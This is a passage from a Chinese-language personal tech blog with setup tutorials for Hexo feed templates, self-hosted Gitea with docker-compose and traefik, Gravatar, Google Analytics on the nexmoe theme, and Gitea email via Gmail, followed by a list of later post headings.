            <description><![CDATA[ <%= post.content %> ]]></description>
        </item>
        <%_ } _%>
    </channel>
</rss>

ATOM: themes/layout/template/atom.ejs

</> html 📄 atom.ejs

<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id><%= config.url %></id>
    <title><%= config.title %><%= tag ? ` • Posts by "${tag}" tag` : '' %><%= category ? ` • Posts by "${category}" category` : '' %></title>
    <link href="<%= config.url %>" />
    <updated><%= moment(lastBuildDate).toISOString() %></updated>
    <%_ for (const { name } of (tags || [])) { _%>
    <category term="<%= name %>" />
    <%_ } _%>
    <%_ for (const post of posts) { _%>
    <entry>
        <id><%= post.permalink %></id>
        <title><%= post.title %></title>
        <link rel="alternate" href="<%= post.permalink %>"/>
        <content type="html"><%= post.content %></content>
        <%_ for (const { name } of (post.tags ? post.tags.toArray() : [])) { _%>
        <category term="<%= name %>" />
        <%_ } _%>
        <updated><%= moment(post.date).toISOString() %></updated>
    </entry>
    <%_ } _%>
</feed>

Json Feed: themes/layout/template/json.ejs

</> html 📄 json.ejs

<%- JSON.stringify({
  version: 'https://jsonfeed.org/version/1',
  title: config.title + (tag ? ` • All posts by "${tag}" tag` : '') + (category ? ` • All posts by "${category}" category` : ''),
  description: config.description,
  home_page_url: config.url,
  items: posts.map(post => ({
      id: post.permalink,
      url: post.permalink,
      title: post.title,
      date_published: moment(post.date).toISOString(),
      content_html: post.content || '',
      tags:  (post.tags ? post.tags.toArray() : []).map(({ name }) => name)
  }))
}, null, 4) _%>

設定

修改 Heox 設定檔 _config.yml 新增 feed 設定

</> yaml 📄 _config.yml

feed:
    limit: 20
    order_by: "-date"
    tag_dir: "tag"
    category_dir: "category"
    rss:
        enable: true
        template: "themes/layout/template/rss.ejs"
        output: "rss.xml"
    atom:
        enable: true
        template: "themes/layout/template/atom.ejs"
        output: "atom.xml"
    jsonFeed:
        enable: true
        template: "themes/layout/template/json.ejs"
        output: "feed.json"

詳細設定參考 GitHub

完成

接下來只要重新佈署 hexo 即可

>_ terminal

`1`	`hexo server`

檢查這些網址看是否安裝成功

http://localhost:4000/rss.xml

http://localhost:4000/atom.xml

http://localhost:4000/feed.json

Photo by Mediamodifier on Unsplash

自動換桌布 unsplash-wallpapers

Mon, 06 Dec 2021 19:05:56 +0800

自動換桌布的方案有很多

在 Windows 上比較有名的是 Wallpaper Engine，除了一般的圖片之外，還可以將影片、靜態網頁做成桌布

跨平台的方案則有微軟的 bing wallpaper

Unsplash

Unsplash 是一個免費的相片共享網站
攝影師可以將相片上傳到 Unsplash，相片編輯者們會對使用者上傳的相片進行整理
Unsplash 使用了較為自由的著作權許可條款，這讓 Unsplash 上的相片經常在文章配圖中出現

想當然，官方也推出像 bing wallpaper 一樣的自動桌布工具在這裡
但只有 iOS MAC AppleTV 以及 chrome 能使用

但PC平台這種大神開發者的發源地，這種小問題已經有人解決了

unsplash-wallpapers

這次要介紹的就是基於Unsplash圖庫的開源小工具 unsplash-wallpapers

Github

特點

支援 Windows MAC Linux 系統
紀錄更換過的歷史桌布.
可設定自動更換週期，每小時、每天、每周、手動
下載桌布原圖

範例

下載

下載點請到 Github Release

依據你的系統下載定應安裝檔

MAC 系統下載 .dmg
Windows 下載 .exe
Redhat、Centos 下載 .rpm
debain、Ubuntu 下載 .deb
要自行編譯就下載 Sorce code

裝完就可以享受定時自動換桌布啦🎉

Gitea - 自己的 Git 自己架

Thu, 25 Nov 2021 19:22:30 +0800

作為寫過程式的人，Git是必備工具 ~~除非只是寫好玩的~~

常見的線上Git儲藏庫就是 GitHub、Gitlab、Bitbucket

如果對於這些公開平台不放心，或是程式碼不想外流，那就自己架私服吧!

常見的有 Gitea、gogs或是Gitlab

Gitlab裡面包含 CI/CD 工具等功能，十分肥大

想要一個安裝簡單、有完整git功能又有中文介面，那就選 Gitea 吧！

安裝

說明文件

Gitea 提供很多安裝方式，我這邊選則用 docker ~~手邊有現成的docker伺服器，不用白不用~~

docker-compose 安裝說明

選擇版本

Gitea 的官方映像可以在 Docker Hub 找到

版本 tag 與 Gitea 的 Github 上發布的版本號一樣

latest 則是最新的穩定版

選擇資料庫

Gitea 支援多種資料庫，例如 mysql mariadb PostgreSQL

安裝過程

使用 docker-compose 安裝

我這邊選用 mysql 資料庫

</> yaml 📄 docker-compose.yml

version: "2"

services:
  server:
    image: gitea/gitea:1.15.6-rootless
     environment:
       - GITEA__database__DB_TYPE=mysql
       - GITEA__database__HOST=db:3306
       - GITEA__database__NAME=gitea
       - GITEA__database__USER=gitea
       - GITEA__database__PASSWD=gitea
    restart: always
    volumes:
      - ./data:/var/lib/gitea
      - ./config:/etc/gitea  
      - /etc/timezone:/etc/timezone:ro
      - /etc/localtime:/etc/localtime:ro
    ports:
      - "10080:3000"
      - "10022:22"
     depends_on:
       - db

   db:
     image: mysql:8
     restart: always
     environment:
       - MYSQL_ROOT_PASSWORD=gitea
       - MYSQL_USER=gitea
       - MYSQL_PASSWORD=gitea
       - MYSQL_DATABASE=gitea
     volumes:
       - ./mysql:/var/lib/mysql

執行

>_ terminal

`1`	`docker-compose up`

完成後可以用 http://hostname:10080 連到你剛剛架的 gitea

SSH 要使用 10022 例如

>_ terminal

`1`	`git clone ssh://git@hostname:10022/username/repo.git`

如果想用預設 Port

</> yaml

#將這段
ports:
    - "10080:3000"
    - "10022:22"

#換成這段
ports:
    - "80:3000"
    - "22:22"

到這邊自己用應該夠了，後續如果要在外網使用，建議還是設定網段 + SSl憑證 (弄成https) 會比較安全

設定 revers proxy

我自己是使用 traefik 做 revers proxy
由於之前是用 haproxy ，改用 traefik 之後還是習慣用檔案手動設定
後面的範例會以設定檔的方式為主，也可以參考官方文件改成 docker labels

https

我的 traefik 有設定監看資料夾的動態設定檔，service 跟 router 分別在不同檔案
如果沒有用動態設定檔的話，設定應該都在 traefik.toml 只不過改完後要重開

啟用動態設定檔

directory 可以自行更換

</> toml 📄 traefik.toml

[providers]
  [providers.file]
    directory = "/etc/traefik/dynamic_configs"
    watch = true

設定 let’s encrypt 自動申請憑證

驗證方式有幾種可以選，一般常用的是 http Challenge

我的網站有套用 cloudflare 保護，DNS 代理就轉過去 cloudflare 了
外加 cloudflare 有支援 dns Challenge，乾脆就用這種 DNS 驗證比較省事
如果你的網域租賃商有提供 dns Challenge，也可以用這種方式驗證比較簡單
只要設定一次，可以套用多個網域

resolvers 可以改成你的網域租賃商，我這邊寫的是 cloudflare 的 DNS
如果要套用 cloudflare 的防護，這邊不用改

</> toml 📄 traefik.toml

[certificatesResolvers.cloudflare-resolver.acme]
  email = "youremail@gmail.com"
  storage = "/etc/traefik/acme.json"

  [certificatesResolvers.cloudflare-resolver.acme.dnsChallenge]
    provider = "cloudflare"
    delayBeforeCheck = 0
    resolvers = ["1.1.1.1:53", "1.0.0.1:53"]

設定 entry point

</> toml 📄 traefik.toml

[entryPoints]
  [entryPoints.ssh]
    address = ":22"

  [entryPoints.web]
    address = ":80"

  [entryPoints.websecure]
    address = ":443"
      [entryPoints.websecure.http.tls]
        certResolver = "cloudflare-resolver"

添加後端跟路由

添加 http service

</> toml 📄 /etc/traefik/dynamic_configs/service.toml

[http.services]
  [http.services.gitea.loadBalancer]
    # healthCheck 是讓 traefik 檢查 gitea 伺服器是否還活著，不要可以去掉
    [http.services.gitea.loadBalancer.healthCheck]
      scheme = "http"
      path = "/"
      interval = "10s"
      timeout = "3s"
    [[http.services.gitea.loadBalancer.servers]]
      url = "http://gitea-ip:3000"

再來是添加 router

</> toml 📄 /etc/traefik/dynamic_configs/routre.toml

[http.routers]
  [http.routers.git]
    entryPoints = ["websecure"]
    rule = "Host(`git.your.domain`)"
    service = "gitea"
    [http.routers.git.tls]
      certResolver = "cloudflare-resolver"

這樣就完成了

ssh

git 使用 key 做身分認證時必須要走 ssh 的協定，如果要使用就必須做好轉發

在 revers proxy 設定連接就直接轉到 gitea 伺服器

Gravatar 你的免費大頭貼、個人檔案和個人主頁連結

Mon, 22 Nov 2021 16:30:59 +0800

辦完帳號設定大頭貼是使用大多數服務的必經之路，今天就是要來解決需要重複上傳大頭貼的問題! (希望可以…)

Gravatar

Gravatar 是多個網站支援的大頭貼服務，Slack、GitHub、WordPress 等大型網站都有支援。
只需在這邊設定完大頭貼，就可以一次套用

除了提供大頭貼，Gravatar 也提供類似線上名片的功能
你可以在上面放你的網站、email等公開資訊，不過我很少用

使用大頭貼

參考官方文件的使用方法

裡面有個方便的用法：取得大頭貼的大頭貼的URL
有URL後在，大多數網頁或是可串接網路圖片的地方都可以嵌入

~~如果不能用，一定是你還沒上傳大頭貼~~

大頭貼的網址長這樣，HASH的部分要替換成email的md5 hash值

`1`	`https://www.gravatar.com/avatar/HASH`

如果不知道怎麼找對應的hash值，可以在 http://www.md5.cz/ 產生對應的產生對應的 md5 hash

例如我email的hash值找到是 0b1d2b9d95375cc6af5909e145fb4a06
我的大頭貼網址就是

`1`	`https://www.gravatar.com/avatar/0b1d2b9d95375cc6af5909e145fb4a06`

</> markdown

`1`	`![大頭貼](https://www.gravatar.com/avatar/0b1d2b9d95375cc6af5909e145fb4a06)`

當初為了這篇文章的分類該分在那想了很久，既然是免費用別人的服務，就還是歸類在免費資源吧

Hexo nexmoe 主題套用 Google Analytics

Tue, 16 Nov 2021 15:44:43 +0800

Google Analytics（GA）是Google公司提供的數據分析工具，可以幫助你追蹤你的網站流量、用戶行為，是一個網路行銷重要又好用的小工具。

網路上會看到很多推薦使用 GA 的文章，有甚麼功能就不用我多說了 ~~絕對不是我想偷懶~~。

畢竟我這小小的部落格也就只有看人數的需求而已。

申請 Google Analytics

基本上你有 google 帳號就完成一半了，接下來到 Google Analytics網站

接著在左下角管理 > 建立資源 > 完成後到資料串流

新增網站串流，裡面填入要分析的網站網址，以及名稱

完成後我們會得到需要的 評估ID G-XXXXX 的這串ID

修改Hexo設定檔

3.0 版設定方式

nexmoe 這個主題有支援 Google Analytics

只要在 _config.nexmoe.yml 設定檔內調整分析的設定即可

</> yaml

analytics:
  google_site_id: #<ID>
  gtags_site_id: 這邊填入分析ID G-XXXXX
  cnzz_site_id: #<ID>
  tencent_site_id: #<ID>
  la_site_id: #<ID>
  baidu_site_id: #<ID>
  gtm_container_id: #<ID>

4.0 版設定方式

照前面申請 Google Analytics 的步驟，先到資料串流設定

按一下「管理」。
使用「資源」欄頂端的下拉式選取器，選擇要在哪個資源設定資料串流的 Google 代碼。
在「資源」欄中，按一下「資料串流」。
照下圖複製

打開 _config.nexmoe.yml 設定檔內在 slotHead 下面貼上複製的嵌入碼

</> yaml 📄 _config.nexmoe.yml

...

slotHead: |
  <!-- Google tag (gtag.js) -->
  <script async src="https://www.googletagmanager.com/gtag/js?id=G-ID"></script>
  <script>
    window.dataLayer = window.dataLayer || [];
    function gtag(){dataLayer.push(arguments);}
    gtag('js', new Date());

    gtag('config', 'G-ID');
  </script>

...

成果

設定完後重開 Hexo 伺服器套用

在GA網站 > 報表內看到我們要的瀏覽人數

~~網站果然沒有人看，人數是0~~

其實是截圖時根本還沒重開 Hexo，所以 Google 根本沒抓到瀏覽紀錄

Gitea 使用 Gmail 寄信

Sun, 14 Nov 2021 12:39:30 +0800

建立 Gmail 應用程式密碼

Google 基於安全性，禁用直接用密碼存取 smtp
取而代之要先建立應用程式密碼，代替原本密碼的功能

管理 Google 帳戶 > 安全性 > 登入 Google > 應用程式密碼

應用選郵件，裝置只是方便管理的名稱，可以選其他自己寫

完成後會產生一組密碼，建議用完之後就忘掉他，下次要用忘記時再建新的就好

設定 container 環境變數

我的 gitea 是使用 Docker 架的

gitea 官方鏡像有提供透過環境變數設定，不用另外修改設定檔

</> dockerfile

environment:
  - GITEA__mailer__ENABLED=true
  - GITEA__mailer__FROM=寄件者信箱
  - GITEA__mailer__MAILER_TYPE=smtp
  - GITEA__mailer__HOST=smtp.gmail.com:465
  - GITEA__mailer__IS_TLS_ENABLED=true
  - GITEA__mailer__USER=你的Gmail
  - GITEA__mailer__PASSWD=應用程式密碼

改完之後到 Gitea 網站 > 網站管理 > 組態
往下捲找到 SMTP 組態，可以測試寄信

詳細參考

Hexo 基本使用教學

Sat, 13 Nov 2021 12:30:30 +0800

官網
 使用說明
 GitHub.

常用指令

建新貼文

>_ terminal

`1`	`hexo new 文章名稱`

詳細請看: Writing

啟動測試伺服器

Hexo 提供 Web server 功能，不須透過 Nginx 或是 apache

安裝

>_ terminal

`1`	`npm install hexo-server --save`

啟動伺服器

>_ terminal

`1`	`hexo server`

詳細請看: Server

產生靜態網站檔案

>_ terminal

`1`	`hexo generate`

詳細請看: Generating

部署到網站伺服器

>_ terminal

`1`	`hexo deploy`

產生靜態頁面後佈署
兩個指令相同

>_ terminal

1
2

hexo generate --deploy
hexo deploy --generate

詳細請看: Deployment

增加文章分類 (Categories)

指令開啟分類功能

>_ terminal

`1`	`hexo new page categories`

新文章增加分類，只要在新貼文的標頭加上 categories

</> markdown

---
title: 2021-11-00
date: 2021-11-00 10:10
categories: 這裡寫分類
---

增加文章標籤 (Tags)

指令開啟標籤功能

>_ terminal

`1`	`hexo new page tags`

新文章增加標籤，也是在新貼文的標頭加上 tags

</> markdown

---
title: 2021-11-00
date: 2021-11-00 10:10
tags: 
- 第一個標籤
- 第二個標籤
---

修改新文章預設標頭

修改 scaffolds/post.md

</> marddown

title: {{ title }}
date: {{ date }}
categories: {{ categories }}
tags: {{ tags }}

這樣每次新增文章就會自動添加分類及標籤

Posts on 筆記Zone

Proxmox VE Kernel Panic

Kernel panic

解決方法

參考資料

Proxmox VE 擴大 Ubuntu 虛擬機硬碟大小

調整硬碟大小

擴充硬碟分割 (physical drive partition)

擴充邏輯分割 Logical volume

調整 Filesystem

參考來源

Hugo Theme Stack 修改 CodeBlock

修改步驟

新增渲染檔案

新增 SCSS

效果展示

不指定語言類型、檔名

指定語言類型

指定檔名

全都指定

terminal 區塊

效果展示

新增 HTML 模版

新增 SCSS

info success warning error 4色提示

效果展示

新增 HTML 模版

新增 SCSS 檔

參考

Hugo 短代碼 shortcode

shortcode 是什麼

語法格式

shortcode 使用語法

html模版

傳入參數

傳入包住的內容 Inner

抓靜態資源

抓 data 檔案內的資料

變數、函數

CSS美化

固定主題

白天、夜晚模式

嵌入 notion 風格書籤

下載 ICON

新增 bookmark.html

新增 scss

使用方式

Unsplash 引用標籤

下載 ICON

新增 unsplash.html

新增 scss

使用方式

terminal 區塊

新增 terminal.html

新增 scss

使用方式

參考資料

用指令下載影片吧 youtube-dlp

系列教學

安裝

Windows 版本

Linux, Mac 版本

更新

下載影片

下載播放清單

指定播放清單下載範圍

只下載音樂

參考來源

yt-dlp 登入並下載影片

↩️回總教學文

帳號密碼登入

使用 Cookie 登入

匯出 cookie

重整格式

使用 cookie 登入

↩️回總教學文

yt-dlp 指定下載影片畫質

↩️回總教學文

選擇畫質

↩️回總教學文